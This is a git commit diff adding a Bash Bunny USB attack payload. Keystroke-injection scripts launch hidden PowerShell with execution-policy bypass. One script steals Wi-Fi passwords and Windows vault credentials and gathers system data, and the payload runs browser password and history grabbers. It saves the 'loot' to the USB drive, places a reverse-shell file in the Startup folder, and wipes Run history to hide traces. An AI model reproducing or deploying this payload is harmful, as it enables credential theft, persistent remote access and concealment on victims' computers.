Add files via upload
parent
c5865390f1
commit
d057d0f4ca
|
@ -0,0 +1 @@
|
||||||
|
-WindowStyle Hidden -Exec Bypass "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue"
|
|
@ -0,0 +1 @@
|
||||||
|
(gwmi -class win32_volume -filter "label='BashBunny'").Name | Clip
|
|
@ -0,0 +1,18 @@
|
||||||
|
GUI r
|
||||||
|
DELAY 200
|
||||||
|
STRING powershell
|
||||||
|
ENTER
|
||||||
|
DELAY 500
|
||||||
|
STRING copy
|
||||||
|
SPACE
|
||||||
|
CONTROL v
|
||||||
|
BACKSPACE
|
||||||
|
STRING payloads\servicehost.txt 'AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'
|
||||||
|
ENTER
|
||||||
|
DELAY 200
|
||||||
|
STRING start 'AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\servicehost.txt'
|
||||||
|
ENTER
|
||||||
|
DELAY 5000
|
||||||
|
STRING exit
|
||||||
|
ENTER
|
||||||
|
DELAY 200
|
Binary file not shown.
|
@ -0,0 +1,190 @@
|
||||||
|
# Shows details of currently running PC
|
||||||
|
# Simen Kjeserud (Original creator), Gachnang, DannyK999 (Version 2.0)
|
||||||
|
|
||||||
|
#Get info about pc
|
||||||
|
|
||||||
|
# Get IP / Nework Info
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
$computerPubIP="Error getting Public IP"
|
||||||
|
}
|
||||||
|
$computerIP = get-WmiObject Win32_NetworkAdapterConfiguration|Where {$_.Ipaddress.length -gt 1}
|
||||||
|
$IsDHCPEnabled = $false
|
||||||
|
$Networks = Get-WmiObject Win32_NetworkAdapterConfiguration -Filter "DHCPEnabled=$True" | ? {$_.IPEnabled}
|
||||||
|
foreach ($Network in $Networks) {
|
||||||
|
If($network.DHCPEnabled) {
|
||||||
|
$IsDHCPEnabled = $true
|
||||||
|
}
|
||||||
|
[string[]]$computerMAC =$Network.MACAddress
|
||||||
|
}
|
||||||
|
|
||||||
|
#Get System Info
|
||||||
|
$computerSystem = Get-CimInstance CIM_ComputerSystem
|
||||||
|
$computerBIOS = Get-CimInstance CIM_BIOSElement
|
||||||
|
|
||||||
|
$computerOs=Get-WmiObject win32_operatingsystem | select Caption, CSName, Version, @{Name="InstallDate";Expression={([WMI]'').ConvertToDateTime($_.InstallDate)}} , @{Name="LastBootUpTime";Expression={([WMI]'').ConvertToDateTime($_.LastBootUpTime)}}, @{Name="LocalDateTime";Expression={([WMI]'').ConvertToDateTime($_.LocalDateTime)}}, CurrentTimeZone, CountryCode, OSLanguage, SerialNumber, WindowsDirectory | Format-List
|
||||||
|
$computerCpu=Get-WmiObject Win32_Processor | select DeviceID, Name, Caption, Manufacturer, MaxClockSpeed, L2CacheSize, L2CacheSpeed, L3CacheSize, L3CacheSpeed | Format-List
|
||||||
|
$computerMainboard=Get-WmiObject Win32_BaseBoard | Format-List
|
||||||
|
|
||||||
|
$computerRamCapacity=Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { "{0:N1} GB" -f ($_.sum / 1GB)}
|
||||||
|
$computerRam=Get-WmiObject Win32_PhysicalMemory | select DeviceLocator, @{Name="Capacity";Expression={ "{0:N1} GB" -f ($_.Capacity / 1GB)}}, ConfiguredClockSpeed, ConfiguredVoltage | Format-Table
|
||||||
|
|
||||||
|
# Get HDDs
|
||||||
|
$driveType = @{
|
||||||
|
2="Removable disk "
|
||||||
|
3="Fixed local disk "
|
||||||
|
4="Network disk "
|
||||||
|
5="Compact disk "}
|
||||||
|
$Hdds = Get-WmiObject Win32_LogicalDisk | select DeviceID, VolumeName, @{Name="DriveType";Expression={$driveType.item([int]$_.DriveType)}}, FileSystem,VolumeSerialNumber,@{Name="Size_GB";Expression={"{0:N1} GB" -f ($_.Size / 1Gb)}}, @{Name="FreeSpace_GB";Expression={"{0:N1} GB" -f ($_.FreeSpace / 1Gb)}}, @{Name="FreeSpace_percent";Expression={"{0:N1}%" -f ((100 / ($_.Size / $_.FreeSpace)))}} | Format-Table DeviceID, VolumeName,DriveType,FileSystem,VolumeSerialNumber,@{ Name="Size GB"; Expression={$_.Size_GB}; align="right"; }, @{ Name="FreeSpace GB"; Expression={$_.FreeSpace_GB}; align="right"; }, @{ Name="FreeSpace %"; Expression={$_.FreeSpace_percent}; align="right"; }
|
||||||
|
|
||||||
|
# Check RDP
|
||||||
|
$RDP
|
||||||
|
if ((Get-ItemProperty "hklm:\System\CurrentControlSet\Control\Terminal Server").fDenyTSConnections -eq 0) {
|
||||||
|
$RDP = "RDP is Enabled"
|
||||||
|
} else {
|
||||||
|
$RDP = "RDP is NOT enabled"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get Network Interfaces
|
||||||
|
$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress
|
||||||
|
|
||||||
|
# Get wifi SSIDs and Passwords
|
||||||
|
$WLANProfileNames =@()
|
||||||
|
#Get all the WLAN profile names
|
||||||
|
$Output = netsh.exe wlan show profiles | Select-String -pattern " : "
|
||||||
|
#Trim the output to receive only the name
|
||||||
|
Foreach($WLANProfileName in $Output){
|
||||||
|
$WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim()
|
||||||
|
}
|
||||||
|
$WLANProfileObjects =@()
|
||||||
|
#Bind the WLAN profile names and also the password to a custom object
|
||||||
|
Foreach($WLANProfileName in $WLANProfileNames){
|
||||||
|
#get the output for the specified profile name and trim the output to receive the password if there is no password it will inform the user
|
||||||
|
try{
|
||||||
|
$WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string -Pattern "Key Content") -split ":")[1]).Trim()
|
||||||
|
}Catch{
|
||||||
|
$WLANProfilePassword = "The password is not stored in this profile"
|
||||||
|
}
|
||||||
|
#Build the object and add this to an array
|
||||||
|
$WLANProfileObject = New-Object PSCustomobject
|
||||||
|
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfileName" -Value $WLANProfileName
|
||||||
|
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfilePassword" -Value $WLANProfilePassword
|
||||||
|
$WLANProfileObjects += $WLANProfileObject
|
||||||
|
Remove-Variable WLANProfileObject
|
||||||
|
}
|
||||||
|
|
||||||
|
# local-user
|
||||||
|
$luser=Get-WmiObject -Class Win32_UserAccount | Format-Table Caption, Domain, Name, FullName, SID
|
||||||
|
|
||||||
|
# process first
|
||||||
|
$process=Get-WmiObject win32_process | select Handle, ProcessName, ExecutablePath, CommandLine
|
||||||
|
|
||||||
|
# Get Listeners / ActiveTcpConnections
|
||||||
|
$listener = Get-NetTCPConnection | select @{Name="LocalAddress";Expression={$_.LocalAddress + ":" + $_.LocalPort}}, @{Name="RemoteAddress";Expression={$_.RemoteAddress + ":" + $_.RemotePort}}, State, AppliedSetting, OwningProcess
|
||||||
|
$listener = $listener | foreach-object {
|
||||||
|
$listenerItem = $_
|
||||||
|
$processItem = ($process | where { [int]$_.Handle -like [int]$listenerItem.OwningProcess })
|
||||||
|
new-object PSObject -property @{
|
||||||
|
"LocalAddress" = $listenerItem.LocalAddress
|
||||||
|
"RemoteAddress" = $listenerItem.RemoteAddress
|
||||||
|
"State" = $listenerItem.State
|
||||||
|
"AppliedSetting" = $listenerItem.AppliedSetting
|
||||||
|
"OwningProcess" = $listenerItem.OwningProcess
|
||||||
|
"ProcessName" = $processItem.ProcessName
|
||||||
|
}
|
||||||
|
} | select LocalAddress, RemoteAddress, State, AppliedSetting, OwningProcess, ProcessName | Sort-Object LocalAddress | Format-Table
|
||||||
|
|
||||||
|
# process last
|
||||||
|
$process = $process | Sort-Object ProcessName | Format-Table Handle, ProcessName, ExecutablePath, CommandLine
|
||||||
|
|
||||||
|
# service
|
||||||
|
$service=Get-WmiObject win32_service | select State, Name, DisplayName, PathName, @{Name="Sort";Expression={$_.State + $_.Name}} | Sort-Object Sort | Format-Table State, Name, DisplayName, PathName
|
||||||
|
|
||||||
|
# installed software (get uninstaller)
|
||||||
|
$software=Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | where { $_.DisplayName -notlike $null } | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Sort-Object DisplayName | Format-Table -AutoSize
|
||||||
|
|
||||||
|
# drivers
|
||||||
|
$drivers=Get-WmiObject Win32_PnPSignedDriver| where { $_.DeviceName -notlike $null } | select DeviceName, FriendlyName, DriverProviderName, DriverVersion
|
||||||
|
|
||||||
|
# videocard
|
||||||
|
$videocard=Get-WmiObject Win32_VideoController | Format-Table Name, VideoProcessor, DriverVersion, CurrentHorizontalResolution, CurrentVerticalResolution
|
||||||
|
|
||||||
|
#Get stored passwords
|
||||||
|
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
|
||||||
|
$vault = New-Object Windows.Security.Credentials.PasswordVault
|
||||||
|
$vault = $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }
|
||||||
|
|
||||||
|
#The output
|
||||||
|
Clear-Host
|
||||||
|
Write-Host
|
||||||
|
|
||||||
|
$computerSystem.Name
|
||||||
|
"=================================================================="
|
||||||
|
"Manufacturer: " + $computerSystem.Manufacturer
|
||||||
|
"Model: " + $computerSystem.Model
|
||||||
|
"Serial Number: " + $computerBIOS.SerialNumber
|
||||||
|
""
|
||||||
|
""
|
||||||
|
""
|
||||||
|
|
||||||
|
"OS:"
|
||||||
|
"=================================================================="+ ($computerOs| out-string)
|
||||||
|
|
||||||
|
"CPU:"
|
||||||
|
"=================================================================="+ ($computerCpu| out-string)
|
||||||
|
|
||||||
|
"RAM:"
|
||||||
|
"=================================================================="
|
||||||
|
"Capacity: " + $computerRamCapacity+ ($computerRam| out-string)
|
||||||
|
|
||||||
|
"Mainboard:"
|
||||||
|
"=================================================================="+ ($computerMainboard| out-string)
|
||||||
|
|
||||||
|
"Bios:"
|
||||||
|
"=================================================================="+ (Get-WmiObject win32_bios| out-string)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
"Local-user:"
|
||||||
|
"=================================================================="+ ($luser| out-string)
|
||||||
|
|
||||||
|
"HDDs:"
|
||||||
|
"=================================================================="+ ($Hdds| out-string)
|
||||||
|
|
||||||
|
"Network: "
|
||||||
|
"=================================================================="
|
||||||
|
"Computers MAC address: " + $computerMAC
|
||||||
|
"Computers IP address: " + $computerIP.ipaddress[0]
|
||||||
|
"Public IP address: " + $computerPubIP
|
||||||
|
"RDP: " + $RDP
|
||||||
|
""
|
||||||
|
($Network| out-string)
|
||||||
|
|
||||||
|
"W-Lan profiles: "
|
||||||
|
"=================================================================="+ ($WLANProfileObjects| out-string)
|
||||||
|
|
||||||
|
"listeners / ActiveTcpConnections"
|
||||||
|
"=================================================================="+ ($listener| out-string)
|
||||||
|
|
||||||
|
"Current running process: "
|
||||||
|
"=================================================================="+ ($process| out-string)
|
||||||
|
|
||||||
|
"Services: "
|
||||||
|
"=================================================================="+ ($service| out-string)
|
||||||
|
|
||||||
|
"Installed software:"
|
||||||
|
"=================================================================="+ ($software| out-string)
|
||||||
|
|
||||||
|
"Installed drivers:"
|
||||||
|
"=================================================================="+ ($drivers| out-string)
|
||||||
|
|
||||||
|
"Installed videocards:"
|
||||||
|
"==================================================================" + ($videocard| out-string)
|
||||||
|
|
||||||
|
"Windows/user passwords"
|
||||||
|
"=================================================================="
|
||||||
|
$vault | select Resource, UserName, Password | Sort-Object Resource | ft -AutoSize
|
Binary file not shown.
|
@ -0,0 +1,92 @@
|
||||||
|
#USB PWNR
|
||||||
|
#P0WNS a computer in seconds
|
||||||
|
|
||||||
|
#Setup
|
||||||
|
LED SETUP
|
||||||
|
ATTACKMODE HID STORAGE
|
||||||
|
GET SWITCH_POSITION
|
||||||
|
#Wait for the computer to recognise the drive etc
|
||||||
|
QUACK delay 5000
|
||||||
|
#Get drive letter and copying it:
|
||||||
|
RUN WIN Powershell -nop -ex Bypass -w Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\GetDrive.ps1')"
|
||||||
|
Q DELAY 1000
|
||||||
|
|
||||||
|
#InfoGrabber
|
||||||
|
LED STAGE1
|
||||||
|
RUN WIN Powershell -nop -ex Bypass -w Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\run.ps1')"
|
||||||
|
DELAY 500
|
||||||
|
|
||||||
|
#BPG (BrowserPasswordGrabber)
|
||||||
|
LED STAGE2
|
||||||
|
RUN WIN powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\pass.exe')"
|
||||||
|
Q DELAY 1800
|
||||||
|
Q CONTROL a
|
||||||
|
Q DELAY 500
|
||||||
|
Q CONTROL s
|
||||||
|
Q DELAY 500
|
||||||
|
Q STRING %computername% - Pass
|
||||||
|
Q F4
|
||||||
|
Q DELAY 100
|
||||||
|
Q CONTROL a
|
||||||
|
Q DELAY 100
|
||||||
|
Q CONTROL v
|
||||||
|
Q DELAY 100
|
||||||
|
Q STRING loot
|
||||||
|
Q DELAY 200
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 500
|
||||||
|
Q TAB
|
||||||
|
Q TAB
|
||||||
|
Q TAB
|
||||||
|
Q TAB
|
||||||
|
Q TAB
|
||||||
|
Q TAB
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 100
|
||||||
|
Q ALT F4
|
||||||
|
|
||||||
|
#BHG (BrowserHistoryGrabber)
|
||||||
|
LED STAGE 3
|
||||||
|
RUN WIN powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\history.exe')"
|
||||||
|
Q DELAY 1500
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 3000
|
||||||
|
Q CONTROL a
|
||||||
|
Q DELAY 500
|
||||||
|
Q CONTROL s
|
||||||
|
Q DELAY 500
|
||||||
|
Q STRING %computername% - History
|
||||||
|
Q F4
|
||||||
|
Q DELAY 100
|
||||||
|
Q CONTROL a
|
||||||
|
Q DELAY 100
|
||||||
|
Q CONTROL v
|
||||||
|
Q DELAY 100
|
||||||
|
Q STRING loot
|
||||||
|
Q DELAY 200
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 500
|
||||||
|
Q TAB
|
||||||
|
Q TAB
|
||||||
|
Q TAB
|
||||||
|
Q TAB
|
||||||
|
Q TAB
|
||||||
|
Q TAB
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 100
|
||||||
|
Q ALT F4
|
||||||
|
|
||||||
|
#Copy reverse shell file to shell:startup and start it
|
||||||
|
|
||||||
|
LED STAGE4
|
||||||
|
QUACK switch1/copy-reverse.txt
|
||||||
|
|
||||||
|
#Cleaning up fase
|
||||||
|
LED CLEANUP
|
||||||
|
QUACK GUI r
|
||||||
|
QUACK DELAY 500
|
||||||
|
QUACK STRING powershell -WindowStyle Hidden -Exec Bypass "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue"
|
||||||
|
QUACK ENTER
|
||||||
|
|
||||||
|
LED FINISH
|
||||||
|
#ATTACKMODE OFF
|
|
@ -0,0 +1,35 @@
|
||||||
|
#Remove run history
|
||||||
|
powershell "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue"
|
||||||
|
|
||||||
|
#Get the path and file name that you are using for output
|
||||||
|
# find connected bashbunny drive:
|
||||||
|
$VolumeName = "bashbunny"
|
||||||
|
$computerSystem = Get-CimInstance CIM_ComputerSystem
|
||||||
|
$backupDrive = $null
|
||||||
|
get-wmiobject win32_logicaldisk | % {
|
||||||
|
if ($_.VolumeName -eq $VolumeName) {
|
||||||
|
$backupDrive = $_.DeviceID
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#See if a loot folder exist in usb. If not create one
|
||||||
|
$TARGETDIR = $backupDrive + "\loot"
|
||||||
|
if(!(Test-Path -Path $TARGETDIR )){
|
||||||
|
New-Item -ItemType directory -Path $TARGETDIR
|
||||||
|
}
|
||||||
|
|
||||||
|
#See if a info folder exist in loot folder. If not create one
|
||||||
|
$TARGETDIR = $backupDrive + "\loot\info"
|
||||||
|
if(!(Test-Path -Path $TARGETDIR )){
|
||||||
|
New-Item -ItemType directory -Path $TARGETDIR
|
||||||
|
}
|
||||||
|
|
||||||
|
#Create a path that will be used to make the file
|
||||||
|
$datetime = get-date -f yyyy-MM-dd_HH-mm
|
||||||
|
$backupPath = $backupDrive + "\loot\info\" + $computerSystem.Name + " - " + $datetime + ".txt"
|
||||||
|
|
||||||
|
#Create output from info script
|
||||||
|
$TARGETDIR = $MyInvocation.MyCommand.Path
|
||||||
|
$TARGETDIR = $TARGETDIR -replace ".......$"
|
||||||
|
cd $TARGETDIR
|
||||||
|
PowerShell.exe -ExecutionPolicy Bypass -File info.ps1 > $backupPath
|
Loading…
Reference in New Issue